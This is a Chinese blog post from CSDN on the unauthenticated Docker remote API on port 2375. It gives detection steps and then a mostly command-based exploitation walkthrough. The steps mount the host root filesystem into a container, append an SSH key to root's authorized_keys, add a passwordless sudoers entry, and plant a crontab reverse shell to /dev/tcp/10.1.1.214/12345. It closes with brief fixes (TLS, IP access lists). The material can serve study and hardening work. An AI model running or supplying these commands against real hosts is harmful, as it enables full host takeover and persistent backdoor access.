Docker 未授权访问漏洞

本文揭示了Docker 1.3和1.6版本的安全漏洞,涉及权限控制问题,可通过API访问执行命令。漏洞利用方法包括检查2375端口、写入SSH公钥和利用docker daemon API。修复建议包括启用TLS认证和网络访问控制。
摘要由CSDN通过智能技术生成
漏洞信息
  • (1) 漏洞简述Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker 存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以脱离容器拿到宿主机权限。
  • (2) 风险等级:高风险。
  • docker默认端口为2375
检测方法
  • 先用 nmap 扫描查看端口开放情况。2375为 docker 端口如果存在漏洞会有以下情况url 输入 ip:2375/version 就会列出基本信息也可以执行目标服务器容器命令如 container、image 等。
  • docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker
sudo docker -H unix:///var/run/docker.sock -H 0.0.0.0:2375
  • 或者直接用命令进行连接
docker -H tcp://192.168.168.131:2375 version
  • 或者url访问:http://192.168.168.131:2375/version
漏洞利用
通过docker daemon api 执行docker命令
#列出容器信息,效果与docker ps一致。
curl http://<target>:2375/containers/json
#列出所有容器
docker -H tcp://<target>:2375 ps -a
#列出所有镜像
docker -H tcp://<target>:2375 images
1.写入ssh公钥
  • 运行一个新容器,并且将该宿主机的根目录挂在到容器的/mnt目录下,启动之后就会获得docker容器的shell:
docker -H tcp://目标IP:2375 run -it -v /:/mnt <Image ID> /bin/bash
  • 因为挂在的是宿主机的跟目录到容器的/mnt目录下,所以写入公钥如下:之后就可以用root账户直接登录了
echo '公钥内容' >>/mnt/root/.ssh/authorized_keys
  • 如果写入root的authorized_keys仍需要密码登录,说明对方主机没有开启直接登录,那么可以考虑写入其他用户主机的authorized_keys文件里面。
  • 先查看有哪些其他用户
cd /mnt/home/        //这个目录下的就是存在系统里面的用户
  • 进入到存在的用户中的.ssh文件夹下,添加公钥
cd  用户名
echo '公钥内容' >>authorized_keys
  • 并且写入后可以通过修改sudoers文件进行免密执行root权限
可以先查看文件内容
cat /mnt/etc/sudoers
因为容器内没有vi或者vim命令
则只能通过echo输入命令,如下内容格式要和上面查看的 原本的root那一行格式一样
echo '用户名  ALL=(ALL)  NOPASSWD:   ALL ' >>/mnt/etc/sudoers
2.在crontab里写定时任务,反弹shell
  • 1、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。
docker -H tcp://<target>:2375 run -it -v /:/mnt <Image ID> /bin/bash         //启动之后就会获得该容器宿主机的shell
  • 2、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/crontabs/root (ubuntu系统)或/var/spool/cron/root(centos系统):
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
  • 3、本地监听端口,获取对方宿主机shell。
修复方法
  • (1) 使用 TLS 认证,使用生成的证书进行认证。
  • (2) 网络访问控制Network Access Control 设置ACL,只允许信任ip连接对应端口

     

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值